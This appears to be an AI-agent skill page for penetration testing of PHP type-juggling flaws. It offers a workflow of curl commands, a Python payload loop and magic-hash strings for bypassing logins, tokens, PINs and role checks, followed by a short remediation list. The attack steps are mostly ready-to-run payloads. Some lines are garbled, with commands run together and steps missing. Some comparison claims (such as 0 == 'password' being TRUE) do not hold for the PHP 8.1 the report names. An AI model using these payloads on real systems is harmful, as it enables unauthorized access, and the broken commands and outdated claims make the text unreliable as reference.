Exploits PHP type juggling vulnerabilities caused by loose (==) comparison operators to bypass authentication, defeat hash verification via magic hashes, and manipulate application logic through type coercion. Use when pentesting PHP applications that compare user input with ==, in_array, or hash functions without strict type checks.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Exploits PHP type juggling vulnerabilities caused by loose (==) comparison operators to bypass authentication, defeat hash verification via magic hashes, and manipulate application logic through type coercion. Use when pentesting PHP applications that compare user input with ==, in_array, or hash functions without strict type checks.
When testing PHP web applications for authentication bypass vulnerabilities
During assessment of password comparison and hash verification logic
When testing applications using loose comparison (== instead of ===)
During code review of PHP applications handling JSON or deserialized input
When evaluating input validation that relies on type-dependent comparison
Prerequisites
Understanding of PHP type system and loose comparison behavior
Knowledge of magic hash values (0e prefix) and their scientific notation interpretation
Burp Suite for request manipulation and parameter type changing
PHP development environment for testing payloads locally
Collection of magic hash strings from PayloadsAllTheThings
Ability to send JSON or serialized data to control input types
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Type Juggling Candidates
# Look for PHP applications with:# - Login/authentication forms# - Password comparison endpoints# - API endpoints accepting JSON input# - Token/hash verification# - Numeric comparison for access control# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"test"}'# If application normally uses form data, try JSON# Form: username=admin&password=test# JSON: {"username":"admin","password":true}
# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison# Magic MD5 hashes (all evaluate to 0 in loose comparison):# "240610708" -> md5: 0e462097431906509019562988736854# "QNKCDZO" -> md5: 0e830400451993494058024219903391# "aabg7XSs" -> md5: 0e087386482136013740957780965295# "aabC9RqS" -> md5: 0e041022518165728065344349536299# If application compares md5(user_input) == stored_hash:# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
-d "username=admin&password=240610708"# Magic SHA1 hashes:# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393# Test with known magic hash valuesfor payload in"240610708""QNKCDZO""aabg7XSs""aabC9RqS""0e1137126905""0e215962017"; doecho -n "Testing: $payload -> "
curl -s -X POST http://target.com/login \
-d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"echodone
Step 4 — Exploit Comparison in Access Control
# Numeric comparison bypass# If: if($user_id == $target_id) { // allow access }# "0" == "0e12345" is TRUE (both evaluate to 0)# String to integer conversion# "1abc" == 1 is TRUE in PHP (string truncated to integer)
curl "http://target.com/api/user?id=1abc"# Boolean comparison for role checking# if($role == true) grants access to any non-empty string
curl -X POST http://target.com/api/action \
-H "Content-Type: application/json" \
-d '{"action":"delete","role":true}'# Null comparison for optional checks# if($token == null) might skip validation
curl -X POST http://target.com/api/verify \
-H "Content-Type: application/json" \
-d '{"token":0}'
Step 5 — Exploit via Deserialization Input
# PHP json_decode() preserves types# Attacker controls type via JSON: true, 0, null, []# Bypass token verification
curl -X POST http://target.com/api/verify-token \
-H "Content-Type: application/json" \
-d '{"token":true}'# Bypass numeric PIN verification
curl -X POST http://target.com/api/verify-pin \
-H "Content-Type: application/json" \
-d '{"pin":true}'# Bypass with zero value
curl -X POST http://target.com/api/check-code \
-H "Content-Type: application/json" \
-d '{"code":0}'# PHP unserialize() type juggling# Craft serialized object with integer type instead of string# s:8:"password"; -> i:0; (string "password" to integer 0)
Step 6 — Automated Type Juggling Testing
# Test all common type juggling payloads against each parameter# Using Burp Intruder with type juggling payload list# Payload list for JSON-based testing:# true# false# null# 0# 1# ""# []# "0"# "0e99999"# "240610708"# Python automation
python3 -c "
import requests
import json
url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']
for p in payloads:
data = {'username': 'admin', 'password': p}
r = requests.post(url, json=data)
print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')
"
Key Concepts
Concept
Description
Loose Comparison (==)
PHP comparison that performs type coercion before comparing values
Strict Comparison (===)
PHP comparison requiring both value and type to match
Magic Hash
String whose hash starts with "0e" followed by digits, evaluating to 0 in loose comparison
Type Coercion
Automatic conversion between types (string to int, null to 0) during comparison
strcmp Bypass
Passing array to strcmp() returns NULL, which equals 0 in loose comparison
JSON Type Control
Using JSON input to send specific types (boolean, integer, null) to PHP endpoints
Scientific Notation
PHP interprets "0eN" strings as 0 in exponential notation during numeric comparison
Tools & Systems
Tool
Purpose
Burp Suite
HTTP proxy for changing parameter types in requests
PHP interactive shell
Local testing of type juggling behavior
PayloadsAllTheThings
Curated magic hash and type juggling payload lists
phpggc
PHP generic gadget chains for deserialization exploitation
Custom Python scripts
Automated type juggling payload testing
PHPStan/Psalm
Static analysis tools detecting loose comparisons in code
Common Scenarios
Authentication Bypass via Boolean — Send "password": true as JSON to bypass loose comparison password verification
Magic Hash Collision — Use known magic hash input ("240610708") whose MD5 starts with "0e" to match against stored hashes
strcmp Array Bypass — Send password[]=anything to make strcmp() return NULL, bypassing password comparison
PIN/OTP Bypass — Send integer 0 as verification code to match against "0e..." hash of the actual code
Role Escalation — Send "role": true to match any non-empty role string in loose comparison access checks
Output Format
## Type Juggling Vulnerability Report
- **Target**: http://target.com
- **Language**: PHP 8.1
- **Framework**: Laravel
### Findings
| # | Endpoint | Parameter | Payload | Type | Impact |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
| 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
| 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
| 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |
### PHP Comparison Table (Relevant)
| Expression | Result | Reason |
|-----------|--------|--------|
| 0 == "password" | TRUE | String cast to 0 |
| true == "password" | TRUE | Non-empty string is truthy |
| "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
| NULL == 0 | TRUE | NULL cast to 0 |
### Remediation
- Replace all == with === (strict comparison) in security-critical code
- Use password_verify() for password comparison instead of direct comparison
- Use hash_equals() for timing-safe hash comparison
- Validate input types before comparison operations
- Enable PHP strict_types declaration in all files